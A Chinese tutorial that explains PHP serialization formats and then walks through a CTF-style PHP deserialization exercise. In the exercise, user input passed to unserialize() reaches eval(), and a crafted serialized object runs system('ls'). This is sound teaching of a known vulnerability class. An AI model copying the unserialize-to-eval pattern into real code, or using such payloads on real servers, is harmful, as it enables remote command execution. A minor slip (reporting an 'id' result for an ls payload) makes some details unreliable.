一、序列化与反序列化
1、概念
PHP中的序列化是指将复杂的数据类型转换为可存储或可传输的字符串，而反序列化则是将这些字符串重新转换回原来的数据类型。
序列化通常使用 serialize() 函数完成，它可以将数组、对象、字符串等复杂数据类型压缩到一个字符串中，这个过程不会影响到数据的类型和结构。序列化主要用于将数据保存到文件、数据库或者通过网络发送时，保证数据的完整性和结构的不变性。需要注意的是，序列化一个对象时会保存对象的所有变量，但不会保存对象的方法，只会保存类的名字。
反序列化则使用 unserialize() 函数，它将序列化后的字符串还原为原始的数据类型。这常用于从存储介质如文件或数据库中读取数据时，确保数据可以被正确地重构为原始状态。
总的来说，这两个过程结合起来，可以轻松地在不同的运行环境中存储和传输数据，提高程序的可维护性和灵活性。
2、对象序列化演示
（1）公有修饰符：
<?php highlight_file(__FILE__); class test{ public $pub='benben'; function jineng(){ echo $this->pub; } } $a = new test(); echo serialize($a); ?>
通过代码易知，最终将输出类test的实例化对象$a的序列化格式，输出结果如下：
O:4:"test":1:{s:3:"pub";s:6:"benben";}
我们对序列化内容格式进行具体分析：
O -- 表示“Object”，在面向对象编程中译作“对象”。
4 -- 表示类名的长度，通过代码易知类 test 的长度为4。
1 -- 表示类中只有一个属性 $pub。
{} -- 对类中的内容进行分析，但只会分析类中的属性，不会分析类中的方法。
s -- 表示“string”，string表示字符串，表示类中属性$pub的名称是字符串。
3 -- 表示类中属性$pub的长度为3。
"pub" -- 表示类中属性$pub的名称。
；-- 起到间隔作用。
s : 6 : "benben" -- 表示类中属性的值为一个字符串，字符串的长度为6，字符串的名称为 benben。
（2）私有修饰符：
<?php highlight_file(__FILE__); class test{ private $pub='benben'; function jineng(){ echo $this->pub; } } $a = new test(); echo serialize($a); ?>
我们观察到类中属性由 public 变成了 private，那么序列化内容会如何改变，改变后的序列化内容如下：
O:4:"test":1:{s:9:"testpub";s:6:"benben";}
我们观察到序列化内容发生了一些变化，其中属性名称变成了 testpub，这里涉及一个知识点，当属性由共有变成私有之后，属性名称会变为 类名 + 属性名称，但是我们又发现，属性长度为9，而testpub的长度仅仅为7，那么多出来的2个字符串长度由何而来呢？
特别说明：私有属性中多出的两个字符串长度：
私有属性中，长度为9的testpub其实在test的首尾拥有两个空格位，分别各占取一个字符串长度，testpub真实情况下应该写作 %00test%00pub，多出的两个字符串长度就是这两个%00。
（3）保护修饰符：
<?php highlight_file(__FILE__); class test{ protected $pub='benben'; function jineng(){ echo $this->pub; } } $a = new test(); echo serialize($a); ?>
类中属性由共有变为保护属性，序列化输出结果如下：
O:4:"test":1:{s:6:"*pub";s:6:"benben";}
我们发现属性名称和长度再次发生了变化，名称pub前多出一个*，并且名称长度也与实际观察到的长度不符合，多出了两个字符串长度。
特别说明：保护属性中多出的两个字符串长度：
实际保护属性名称为：空格 + * + 空格 + 属性名称。
URL编码为：%00 + * + %00 + 属性名称。
（4）成员属性调用对象：
<?php highlight_file(__FILE__); class test{ var $pub='benben'; function jineng(){ echo $this->pub; } } class test2{ var $ben; function __construct(){ $this->ben=new test(); } } $a = new test2(); echo serialize($a); ?>
上述代码将实例化对象赋值给成员属性，并将其以序列化格式输出。输出结果如下：
O:5:"test2":1:{s:3:"ben";O:4:"test":1:{s:3:"pub";s:6:"benben";}}
与将一个字符串赋值给成员属性的格式并无不同，唯一不同点是内容变成了一个类罢了。
3、对象反序列化演示
<?php highlight_file(__FILE__); class test { public $a = 'benben'; protected $b = 666; private $c = false; public function displayVar() { echo $this->a; } } $d = new test(); $d = serialize($d); echo $d."<br />"; echo urlencode($d)."<br />"; $a = urlencode($d); $b = unserialize(urldecode($a)); var_dump($b); ?>
输出代码如下：
(1)O:4:"test":3:{s:1:"a";s:6:"benben";s:4:"*b";i:666;s:7:"testc";b:0;} 序列化格式输出 (2)O%3A4%3A%22test%22%3A3%3A%7Bs%3A1%3A%22a%22%3Bs%3A6%3A%22benben%22%3Bs%3A4%3A%22%00%2A%00b%22%3Bi%3A666%3Bs%3A7%3A%22%00test%00c%22%3Bb%3A0%3B%7D 序列化URL编码格式输出 (3)object(test)#1 (3) { ["a"]=> string(6) "benben" ["b":protected]=> int(666) ["c":"test":private]=> bool(false) } 将序列化格式反序列化后输出(以反序列化格式输出)
（3）即为反序列化格式输出，本质就是将序列化过的内容进行还原。
二、PHP反序列化例题演示
1、题目源代码：
<?php highlight_file(__FILE__); error_reporting(0); class test{ public $a = 'echo "this is test!!";'; public function displayVar() { eval($this->a); } } $get = $_GET["benben"]; $b = unserialize($get); $b->displayVar() ; ?>
通过分析源代码可知，test类中存在eval()函数，我们只需要利用eval()函数括号中的代码，来执行我们想要达到目的的指令。
我们已知eval()括号中的值为属性a的值，我们只需要将我们想要执行的指令赋值给 $a 就可以了。
那么如何将我们想要执行的命令赋值给 $呢？我们可以利用反序列化，分析代码可知，首先将用户输入值赋值给"benben"后通过GET方法发送给客户端并且赋值给$get，对$get进行反序列化后将反序列化后的值赋值给$b，最后调用$b中的displayVar()函数，就可以达到将输入值赋值给$a的目的，我们只需要将指令写在benben中即可。
2、构造序列化代码：
<?php class test{ public $a = ''; } $b = new test(); $b->a = "system('ls');"; echo serialize($b); ?>
输出结果如下：
O:4:"test":1:{s:1:"a";s:13:"system('ls');";}
将输出结果提交给GET["benben"]，如下图：
提交后页面如下：
id值成功在页面中显示。
